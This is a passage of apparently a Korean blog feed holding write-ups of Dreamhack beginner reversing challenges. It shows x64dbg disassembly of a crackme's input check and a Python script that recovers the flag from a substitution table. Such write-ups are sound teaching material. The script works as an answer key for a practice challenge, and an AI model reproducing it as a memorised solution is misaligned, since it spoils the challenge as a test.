</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">782681038</span> <span class="o">|</span> <span class="mf">0F</span><span class="n">B60401</span>                 <span class="o">|</span> <span class="n">movzx</span> <span class="n">eax</span><span class="p">,</span><span class="n">byte</span> <span class="n">ptr</span> <span class="nl">ds</span><span class="p">:[</span><span class="n">rcx</span><span class="o">+</span><span class="n">rax</span><span class="p">]</span>         <span class="o">|</span> <span class="n">rcx</span><span class="o">+</span><span class="n">rax</span><span class="o">*</span><span class="mi">1</span><span class="o">:</span><span class="s">&#34;AAAA&#34;</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">78268103</span><span class="n">C</span> <span class="o">|</span> <span class="mi">48</span><span class="o">:</span><span class="mi">630</span><span class="n">C24</span>                <span class="o">|</span> <span class="n">movsxd</span> <span class="n">rcx</span><span class="p">,</span><span class="n">dword</span> <span class="n">ptr</span> <span class="nl">ss</span><span class="p">:[</span><span class="n">rsp</span><span class="p">]</span>           <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">782681040</span> <span class="o">|</span> <span class="mi">48</span><span class="o">:</span><span class="mi">8</span><span class="n">D15</span> <span class="n">B91F0000</span>         <span class="o">|</span> <span class="n">lea</span> <span class="n">rdx</span><span class="p">,</span><span class="n">qword</span> <span class="n">ptr</span> <span class="nl">ds</span><span class="p">:[</span><span class="mf">7FF</span><span class="mi">782683000</span><span class="p">]</span>     <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">782681047</span> <span class="o">|</span> <span class="mf">0F</span><span class="n">B60C0A</span>                 <span class="o">|</span> <span class="n">movzx</span> <span class="n">ecx</span><span class="p">,</span><span class="n">byte</span> <span class="n">ptr</span> <span class="nl">ds</span><span class="p">:[</span><span class="n">rdx</span><span class="o">+</span><span class="n">rcx</span><span class="p">]</span>         <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">78268104</span><span class="n">B</span> <span class="o">|</span> <span class="mi">3</span><span class="n">BC1</span>                     <span class="o">|</span> <span class="n">cmp</span> <span class="n">eax</span><span class="p">,</span><span class="n">ecx</span>                             <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">78268104</span><span class="n">D</span> <span class="o">|</span> <span class="mi">74</span> <span class="mo">04</span>                    <span class="o">|</span> <span class="n">je</span> <span class="n">chall6</span><span class="mf">.7F</span><span class="n">F782681053</span>                  <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF78268104F</span> <span class="o">|</span> <span class="mi">33</span><span class="n">C0</span>                     <span class="o">|</span> <span class="n">xor</span> <span class="n">eax</span><span class="p">,</span><span class="n">eax</span>                             <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">782681051</span> <span class="o">|</span> <span class="n">EB</span> <span class="mo">07</span>                    <span class="o">|</span> <span class="n">jmp</span> <span class="n">chall6</span><span class="mf">.7F</span><span class="n">F78268105A</span>                 <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">782681053</span> <span class="o">|</span> <span class="n">EB</span> <span class="n">BD</span>                    <span class="o">|</span> <span class="n">jmp</span> <span class="n">chall6</span><span class="mf">.7F</span><span class="n">F782681012</span>                 <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">782681055</span> <span class="o">|</span> <span class="n">B8</span> <span class="mo">01000000</span>              <span class="o">|</span> <span class="n">mov</span> <span class="n">eax</span><span class="p">,</span><span class="mi">1</span>                               <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">78268105</span><span class="n">A</span> <span class="o">|</span> <span class="mi">48</span><span class="o">:</span><span class="mi">83</span><span class="n">C4</span> <span class="mi">18</span>               <span class="o">|</span> <span class="n">add</span> <span class="n">rsp</span><span class="p">,</span><span class="mi">18</span>                              <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="mf">00007FF</span><span class="mi">78268105</span><span class="n">E</span> <span class="o">|</span> <span class="n">C3</span>                       <span class="o">|</span> <span class="n">ret</span>                                     <span class="o">|</span>
</span></span></code></pre></div><p>중요한 부분은 00007FF782681031 부터 00007FF78268104B를 보면 될것 같다.</p>
<p>입력받은 문자열을 순서대로 비교하는 로직이다. 위 주소를 살펴보면 7FF782683020 + 입력받은 문자열의 hex값 을 계산해 7FF782683000와 비교한다. 이를 역산하면 7FF782683000에 있는 hex값이 7FF782683020로부터 얼마만큼 떨어져 있는지 확인하면 쉽게 답을 찾을 수 있다. 이런 로직을 보고 파이썬 코드를 작성했다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">a</span> <span class="o">=</span> <span class="p">[</span><span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x4D</span><span class="p">,</span> <span class="mh">0x51</span><span class="p">,</span> <span class="mh">0x50</span><span class="p">,</span> <span class="mh">0xEF</span><span class="p">,</span> <span class="mh">0xFB</span><span class="p">,</span> <span class="mh">0xC3</span><span class="p">,</span> <span class="mh">0xCF</span><span class="p">,</span> <span class="mh">0x92</span><span class="p">,</span> <span class="mh">0x45</span><span class="p">,</span> <span class="mh">0x4D</span><span class="p">,</span> <span class="mh">0xCF</span><span class="p">,</span> <span class="mh">0xF5</span><span class="p">,</span> <span class="mh">0x04</span><span class="p">,</span> <span class="mh">0x40</span><span class="p">,</span> <span class="mh">0x50</span><span class="p">,</span> <span class="mh">0x43</span><span class="p">,</span> <span class="mh">0x63</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">b</span> <span class="o">=</span><span class="p">[</span><span class="mh">0x63</span><span class="p">,</span> <span class="mh">0x7C</span><span class="p">,</span> <span class="mh">0x77</span><span class="p">,</span> <span class="mh">0x7B</span><span class="p">,</span> <span class="mh">0xF2</span><span class="p">,</span> <span class="mh">0x6B</span><span class="p">,</span> <span class="mh">0x6F</span><span class="p">,</span> <span class="mh">0xC5</span><span class="p">,</span> <span class="mh">0x30</span><span class="p">,</span> <span class="mh">0x1</span><span class="p">,</span> <span class="mh">0x67</span><span class="p">,</span> <span class="mh">0x2B</span><span class="p">,</span> <span class="mh">0xFE</span><span class="p">,</span> <span class="mh">0xD7</span><span class="p">,</span> <span class="mh">0xAB</span><span class="p">,</span> <span class="mh">0x76</span>
</span></span><span class="line"><span class="cl"><span class="p">,</span><span class="mh">0xCA</span><span class="p">,</span> <span class="mh">0x82</span><span class="p">,</span> <span class="mh">0xC9</span><span class="p">,</span> <span class="mh">0x7D</span><span class="p">,</span> <span class="mh">0xFA</span><span class="p">,</span> <span class="mh">0x59</span><span class="p">,</span> <span class="mh">0x47</span><span class="p">,</span> <span class="mh">0xF0</span><span class="p">,</span> <span class="mh">0xAD</span><span class="p">,</span> <span class="mh">0xD4</span><span class="p">,</span> <span class="mh">0xA2</span><span class="p">,</span> <span class="mh">0xAF</span><span class="p">,</span> <span class="mh">0x9C</span><span class="p">,</span> <span class="mh">0xA4</span><span class="p">,</span> <span class="mh">0x72</span><span class="p">,</span> <span class="mh">0xC0</span>
</span></span><span class="line"><span class="cl"><span class="p">,</span><span class="mh">0xB7</span><span class="p">,</span> <span class="mh">0xFD</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0x26</span><span class="p">,</span> <span class="mh">0x36</span><span class="p">,</span> <span class="mh">0x3F</span><span class="p">,</span> <span class="mh">0xF7</span><span class="p">,</span> <span class="mh">0xCC</span><span class="p">,</span> <span class="mh">0x34</span><span class="p">,</span> <span class="mh">0xA5</span><span class="p">,</span> <span class="mh">0xE5</span><span class="p">,</span> <span class="mh">0xF1</span><span class="p">,</span> <span class="mh">0x71</span><span class="p">,</span> <span class="mh">0xD8</span><span class="p">,</span> <span class="mh">0x31</span><span class="p">,</span> <span class="mh">0x15</span>
</span></span><span class="line"><span class="cl"><span class="p">,</span><span class="mh">0x04</span><span class="p">,</span> <span class="mh">0xC7</span><span class="p">,</span> <span class="mh">0x23</span><span class="p">,</span> <span class="mh">0xC3</span><span class="p">,</span> <span class="mh">0x18</span><span class="p">,</span> <span class="mh">0x96</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x9A</span><span class="p">,</span> <span class="mh">0x07</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x80</span><span class="p">,</span> <span class="mh">0xE2</span><span class="p">,</span> <span class="mh">0xEB</span><span class="p">,</span> <span class="mh">0x27</span><span class="p">,</span> <span class="mh">0xB2</span><span class="p">,</span> <span class="mh">0x75</span>
</span></span><span class="line"><span class="cl"><span class="p">,</span><span class="mh">0x09</span><span class="p">,</span> <span class="mh">0x83</span><span class="p">,</span> <span class="mh">0x2C</span><span class="p">,</span> <span class="mh">0x1A</span><span class="p">,</span> <span class="mh">0x1B</span><span class="p">,</span> <span class="mh">0x6E</span><span class="p">,</span> <span class="mh">0x5A</span><span class="p">,</span> <span class="mh">0xA0</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x3B</span><span class="p">,</span> <span class="mh">0xD6</span><span class="p">,</span> <span class="mh">0xB3</span><span class="p">,</span> <span class="mh">0x29</span><span class="p">,</span> <span class="mh">0xE3</span><span class="p">,</span> <span class="mh">0x2F</span><span class="p">,</span> <span class="mh">0x84</span>
</span></span><span class="line"><span class="cl"><span class="p">,</span><span class="mh">0x53</span><span class="p">,</span> <span class="mh">0xD1</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0xED</span><span class="p">,</span> <span class="mh">0x20</span><span class="p">,</span> <span class="mh">0xFC</span><span class="p">,</span> <span class="mh">0xB1</span><span class="p">,</span> <span class="mh">0x5B</span><span class="p">,</span> <span class="mh">0x6A</span><span class="p">,</span> <span class="mh">0xCB</span><span class="p">,</span> <span class="mh">0xBE</span><span class="p">,</span> <span class="mh">0x39</span><span class="p">,</span> <span class="mh">0x4A</span><span class="p">,</span> <span class="mh">0x4C</span><span class="p">,</span> <span class="mh">0x58</span><span class="p">,</span> <span class="mh">0xCF</span>
</span></span><span class="line"><span class="cl"><span class="p">,</span><span class="mh">0xD0</span><span class="p">,</span> <span class="mh">0xEF</span><span class="p">,</span> <span class="mh">0xAA</span><span class="p">,</span> <span class="mh">0xFB</span><span class="p">,</span> <span class="mh">0x43</span><span class="p">,</span> <span class="mh">0x4D</span><span class="p">,</span> <span class="mh">0x33</span><span class="p">,</span> <span class="mh">0x85</span><span class="p">,</span> <span class="mh">0x45</span><span class="p">,</span> <span class="mh">0xF9</span><span class="p">,</span> <span class="mh">0x02</span><span class="p">,</span> <span class="mh">0x7F</span><span class="p">,</span> <span class="mh">0x50</span><span class="p">,</span> <span class="mh">0x3C</span><span class="p">,</span> <span class="mh">0x9F</span><span class="p">,</span> <span class="mh">0xA8</span>
</span></span><span class="line"><span class="cl"><span class="p">,</span><span class="mh">0x51</span><span class="p">,</span> <span class="mh">0xA3</span><span class="p">,</span> <span class="mh">0x40</span><span class="p">,</span> <span class="mh">0x8F</span><span class="p">,</span> <span class="mh">0x92</span><span class="p">,</span> <span class="mh">0x9D</span><span class="p">,</span> <span class="mh">0x38</span><span class="p">,</span> <span class="mh">0xF5</span><span class="p">,</span> <span class="mh">0xBC</span><span class="p">,</span> <span class="mh">0xB6</span><span class="p">,</span> <span class="mh">0xDA</span><span class="p">,</span> <span class="mh">0x21</span><span class="p">,</span> <span class="mh">0x10</span><span class="p">,</span> <span class="mh">0xFF</span><span class="p">,</span> <span class="mh">0xF3</span><span class="p">,</span> <span class="mh">0xD2</span>
</span></span><span class="line"><span class="cl"><span class="p">,</span><span class="mh">0xCD</span><span class="p">,</span> <span class="mh">0x0C</span><span class="p">,</span> <span class="mh">0x13</span><span class="p">,</span> <span class="mh">0xEC</span><span class="p">,</span> <span class="mh">0x5F</span><span class="p">,</span> <span class="mh">0x97</span><span class="p">,</span> <span class="mh">0x44</span><span class="p">,</span> <span class="mh">0x17</span><span class="p">,</span> <span class="mh">0xC4</span><span class="p">,</span> <span class="mh">0xA7</span><span class="p">,</span> <span class="mh">0x7E</span><span class="p">,</span> <span class="mh">0x3D</span><span class="p">,</span> <span class="mh">0x64</span><span class="p">,</span> <span class="mh">0x5D</span><span class="p">,</span> <span class="mh">0x19</span><span class="p">,</span> <span class="mh">0x73</span>
</span></span><span class="line"><span class="cl"><span class="p">,</span><span class="mh">0x60</span><span class="p">,</span> <span class="mh">0x81</span><span class="p">,</span> <span class="mh">0x4F</span><span class="p">,</span> <span class="mh">0xDC</span><span class="p">,</span> <span class="mh">0x22</span><span class="p">,</span> <span class="mh">0x2A</span><span class="p">,</span> <span class="mh">0x90</span><span class="p">,</span> <span class="mh">0x88</span><span class="p">,</span> <span class="mh">0x46</span><span class="p">,</span> <span class="mh">0xEE</span><span class="p">,</span> <span class="mh">0xB8</span><span class="p">,</span> <span class="mh">0x14</span><span class="p">,</span> <span class="mh">0xDE</span><span class="p">,</span> <span class="mh">0x5E</span><span class="p">,</span> <span class="mh">0x0B</span><span class="p">,</span> <span class="mh">0xDB</span>
</span></span><span class="line"><span class="cl"><span class="p">,</span><span class="mh">0xE0</span><span class="p">,</span> <span class="mh">0x32</span><span class="p">,</span> <span class="mh">0x3A</span><span class="p">,</span> <span class="mh">0x0A</span><span class="p">,</span> <span class="mh">0x49</span><span class="p">,</span> <span class="mh">0x06</span><span class="p">,</span> <span class="mh">0x24</span><span class="p">,</span> <span class="mh">0x5C</span><span class="p">,</span> <span class="mh">0xC2</span><span class="p">,</span> <span class="mh">0xD3</span><span class="p">,</span> <span class="mh">0xAC</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x91</span><span class="p">,</span> <span class="mh">0x95</span><span class="p">,</span> <span class="mh">0xE4</span><span class="p">,</span> <span class="mh">0x79</span>
</span></span><span class="line"><span class="cl"><span class="p">,</span><span class="mh">0xE7</span><span class="p">,</span> <span class="mh">0xC8</span><span class="p">,</span> <span class="mh">0x37</span><span class="p">,</span> <span class="mh">0x6D</span><span class="p">,</span> <span class="mh">0x8D</span><span class="p">,</span> <span class="mh">0xD5</span><span class="p">,</span> <span class="mh">0x4E</span><span class="p">,</span> <span class="mh">0xA9</span><span class="p">,</span> <span class="mh">0x6C</span><span class="p">,</span> <span class="mh">0x56</span><span class="p">,</span> <span class="mh">0xF4</span><span class="p">,</span> <span class="mh">0xEA</span><span class="p">,</span> <span class="mh">0x65</span><span class="p">,</span> <span class="mh">0x7A</span><span class="p">,</span> <span class="mh">0xAE</span><span class="p">,</span> <span class="mh">0x8</span>
</span></span><span class="line"><span class="cl"><span class="p">,</span><span class="mh">0xBA</span><span class="p">,</span> <span class="mh">0x78</span><span class="p">,</span> <span class="mh">0x25</span><span class="p">,</span> <span class="mh">0x2E</span><span class="p">,</span> <span class="mh">0x1C</span><span class="p">,</span> <span class="mh">0xA6</span><span class="p">,</span> <span class="mh">0xB4</span><span class="p">,</span> <span class="mh">0xC6</span><span class="p">,</span> <span class="mh">0xE8</span><span class="p">,</span> <span class="mh">0xDD</span><span class="p">,</span> <span class="mh">0x74</span><span class="p">,</span> <span class="mh">0x1F</span><span class="p">,</span> <span class="mh">0x4B</span><span class="p">,</span> <span class="mh">0xBD</span><span class="p">,</span> <span class="mh">0x8B</span><span class="p">,</span> <span class="mh">0x8A</span>
</span></span><span class="line"><span class="cl"><span class="p">,</span><span class="mh">0x70</span><span class="p">,</span> <span class="mh">0x3E</span><span class="p">,</span> <span class="mh">0xB5</span><span class="p">,</span> <span class="mh">0x66</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0xF6</span><span class="p">,</span> <span class="mh">0x0E</span><span class="p">,</span> <span class="mh">0x61</span><span class="p">,</span> <span class="mh">0x35</span><span class="p">,</span> <span class="mh">0x57</span><span class="p">,</span> <span class="mh">0xB9</span><span class="p">,</span> <span class="mh">0x86</span><span class="p">,</span> <span class="mh">0xC1</span><span class="p">,</span> <span class="mh">0x1D</span><span class="p">,</span> <span class="mh">0x9E</span>
</span></span><span class="line"><span class="cl"><span class="p">,</span><span class="mh">0xE1</span><span class="p">,</span> <span class="mh">0xF8</span><span class="p">,</span> <span class="mh">0x98</span><span class="p">,</span> <span class="mh">0x11</span><span class="p">,</span> <span class="mh">0x69</span><span class="p">,</span> <span class="mh">0xD9</span><span class="p">,</span> <span class="mh">0x8E</span><span class="p">,</span> <span class="mh">0x94</span><span class="p">,</span> <span class="mh">0x9B</span><span class="p">,</span> <span class="mh">0x1E</span><span class="p">,</span> <span class="mh">0x87</span><span class="p">,</span> <span class="mh">0xE9</span><span class="p">,</span> <span class="mh">0xCE</span><span class="p">,</span> <span class="mh">0x55</span><span class="p">,</span> <span class="mh">0x28</span><span class="p">,</span> <span class="mh">0xDF</span>
</span></span><span class="line"><span class="cl"><span class="p">,</span><span class="mh">0x8C</span><span class="p">,</span> <span class="mh">0xA1</span><span class="p">,</span> <span class="mh">0x89</span><span class="p">,</span> <span class="mh">0x0D</span><span class="p">,</span> <span class="mh">0xBF</span><span class="p">,</span> <span class="mh">0xE6</span><span class="p">,</span> <span class="mh">0x42</span><span class="p">,</span> <span class="mh">0x68</span><span class="p">,</span> <span class="mh">0x41</span><span class="p">,</span> <span class="mh">0x99</span><span class="p">,</span> <span class="mh">0x2D</span><span class="p">,</span> <span class="mh">0x0F</span><span class="p">,</span> <span class="mh">0xB0</span><span class="p">,</span> <span class="mh">0x54</span><span class="p">,</span> <span class="mh">0xBB</span><span class="p">,</span> <span class="mh">0x16</span>
</span></span><span class="line"><span class="cl"><span class="p">,</span><span class="mh">0x42</span><span class="p">,</span> <span class="mh">0xCD</span><span class="p">,</span> <span class="mh">0xB7</span><span class="p">,</span> <span class="mh">0x32</span><span class="p">,</span> <span class="mh">0x13</span><span class="p">,</span> <span class="mh">0x59</span><span class="p">,</span> <span class="mh">0xFF</span><span class="p">,</span> <span class="mh">0xFF</span><span class="p">,</span> <span class="mh">0xBD</span><span class="p">,</span> <span class="mh">0x32</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0xCD</span><span class="p">,</span> <span class="mh">0xEC</span><span class="p">,</span> <span class="mh">0xA6</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">a</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">b_count</span> <span class="o">=</span> <span class="mh">0x00</span>
</span></span><span class="line"><span class="cl">        <span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="n">b</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">                <span class="k">if</span><span class="p">(</span><span class="n">i</span> <span class="o">==</span> <span class="n">j</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">                        <span class="k">break</span>
</span></span><span class="line"><span class="cl">                <span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">                        <span class="n">b_count</span><span class="o">=</span><span class="n">b_count</span><span class="o">+</span><span class="mi">1</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="nb">chr</span><span class="p">(</span><span class="n">b_count</span><span class="p">),</span> <span class="n">end</span><span class="o">=</span><span class="s1">&#39;&#39;</span><span class="p">)</span>
</span></span></code></pre></div><p>위 코드에서 변수 a 는 7FF782683000에 있는 hex값이고, 변수 b 는 7FF782683020에 있는 hex값을 의미하며 반복문을 통해 순서대로 돌면서 떨어진 거리를 계산한다.</p>
<p>위 코드를 돌리면 플레그 값을 확인할 수 있다.</p>
]]></content:encoded></item><item><title>Dreamhack rev-basic-5 문제풀이</title><link>https://dig06161.github.io/2022/04/09/dreamhack-rev-basic-5/</link><pubDate>Sat, 09 Apr 2022 18:30:00 +0900</pubDate><guid>https://dig06161.github.io/2022/04/09/dreamhack-rev-basic-5/</guid><description>&lt;p>이번 문제는 드림핵 리버싱문제 rev-basic-5이다. 확실히 베이직 문제이다 보니 약간의 분석과정만 거치면 풀이법이 보여 쉬운편에 속했다.&lt;/p>
&lt;p>우선 exe 파일을 다운 받으면 chall5.exe라는 바이너리가 다운로드 된다. 이후 이 바이너리를 실행 시키면&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-shell" data-lang="shell">&lt;span class="line">&lt;span class="cl">input :
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>구문으로 문자열을 입력 받고 맞으면 Correct 틀리면 Wrong이라는 문자열을 출력한다.&lt;/p>
&lt;p>&lt;br>&lt;br>&lt;/p>
&lt;p>이제 이 바이너리를 x64 디버거로 분석 해보자.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-c++" data-lang="c++">&lt;span class="line">&lt;span class="cl">&lt;span class="mf">00007FF&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="n">A16C1130&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="mi">40&lt;/span>&lt;span class="o">:&lt;/span>&lt;span class="mi">57&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="n">push&lt;/span> &lt;span class="n">rdi&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="nl">rdi&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="sa">L&lt;/span>&lt;span class="s">&amp;#34;샰櫚Ʊ&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mf">00007FF&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="n">A16C1132&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="mi">48&lt;/span>&lt;span class="o">:&lt;/span>&lt;span class="mi">81&lt;/span>&lt;span class="n">EC&lt;/span> &lt;span class="mi">30010000&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="n">sub&lt;/span> &lt;span class="n">rsp&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">130&lt;/span> &lt;span class="o">|&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mf">00007FF&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="n">A16C1139&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="mi">48&lt;/span>&lt;span class="o">:&lt;/span>&lt;span class="mi">8&lt;/span>&lt;span class="n">B05&lt;/span> &lt;span class="n">E81E0000&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="n">mov&lt;/span> &lt;span class="n">rax&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="n">qword&lt;/span> &lt;span class="n">ptr&lt;/span> &lt;span class="nl">ds&lt;/span>&lt;span class="p">:[&lt;/span>&lt;span class="mf">7FF&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="n">A16C3028&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">|&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mf">00007FF&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="n">A16C1140&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="mi">48&lt;/span>&lt;span class="o">:&lt;/span>&lt;span class="mi">33&lt;/span>&lt;span class="n">C4&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="n">xor&lt;/span> &lt;span class="n">rax&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="n">rsp&lt;/span> &lt;span class="o">|&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mf">00007FF&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="n">A16C1143&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="mi">48&lt;/span>&lt;span class="o">:&lt;/span>&lt;span class="mi">898424&lt;/span> &lt;span class="mi">20010000&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="n">mov&lt;/span> &lt;span class="n">qword&lt;/span> &lt;span class="n">ptr&lt;/span> &lt;span class="nl">ss&lt;/span>&lt;span class="p">:[&lt;/span>&lt;span class="n">rsp&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mi">120&lt;/span>&lt;span class="p">],&lt;/span>&lt;span class="n">rax&lt;/span> &lt;span class="o">|&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mf">00007FF&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="n">A16C114B&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="mi">48&lt;/span>&lt;span class="o">:&lt;/span>&lt;span class="mi">8&lt;/span>&lt;span class="n">D4424&lt;/span> &lt;span class="mi">20&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="n">lea&lt;/span> &lt;span class="n">rax&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="n">qword&lt;/span> &lt;span class="n">ptr&lt;/span> &lt;span class="nl">ss&lt;/span>&lt;span class="p">:[&lt;/span>&lt;span class="n">rsp&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mi">20&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">|&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mf">00007FF&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="n">A16C1150&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="mi">48&lt;/span>&lt;span class="o">:&lt;/span>&lt;span class="mi">8&lt;/span>&lt;span class="n">BF8&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="n">mov&lt;/span> &lt;span class="n">rdi&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="n">rax&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="nl">rdi&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="sa">L&lt;/span>&lt;span class="s">&amp;#34;샰櫚Ʊ&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mf">00007FF&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="n">A16C1153&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="mi">33&lt;/span>&lt;span class="n">C0&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="n">xor&lt;/span> &lt;span class="n">eax&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="n">eax&lt;/span> &lt;span class="o">|&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mf">00007FF&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="n">A16C1155&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="n">B9&lt;/span> &lt;span class="mo">00010000&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="n">mov&lt;/span> &lt;span class="n">ecx&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">100&lt;/span> &lt;span class="o">|&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mf">00007FF&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="n">A16C115A&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="nl">F3&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">AA&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="n">rep&lt;/span> &lt;span class="n">stosb&lt;/span> &lt;span class="o">|&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mf">00007FF&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="n">A16C115C&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="mi">48&lt;/span>&lt;span class="o">:&lt;/span>&lt;span class="mi">8&lt;/span>&lt;span class="n">D0D&lt;/span> &lt;span class="n">AD100000&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="n">lea&lt;/span> &lt;span class="n">rcx&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="n">qword&lt;/span> &lt;span class="n">ptr&lt;/span> &lt;span class="nl">ds&lt;/span>&lt;span class="p">:[&lt;/span>&lt;span class="mf">7FF&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="n">A16C2210&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="mf">00007FF&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="nl">A16C2210&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s">&amp;#34;Input : &amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mf">00007FF&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="n">A16C1163&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="n">E8&lt;/span> &lt;span class="mi">58000000&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="n">call&lt;/span> &lt;span class="n">chall5&lt;/span>&lt;span class="mf">.7F&lt;/span>&lt;span class="n">F6A16C11C0&lt;/span> &lt;span class="o">|&lt;/span>
